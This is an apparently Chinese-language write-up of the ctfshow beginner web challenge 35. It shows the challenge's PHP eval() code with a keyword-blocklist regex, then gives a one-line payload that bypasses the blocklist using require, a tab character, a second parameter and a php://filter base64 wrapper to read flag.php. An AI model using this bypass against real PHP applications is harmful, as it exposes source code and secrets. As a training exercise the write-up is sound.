CTFSHOW-入门-web35

解题思路

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

看看这次多了啥

多了尖括号<

但是不是右尖括号,所以问题不大

?c=require%09$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

 


De4ault
無限進步
公告

粤ICP备2024275751号-3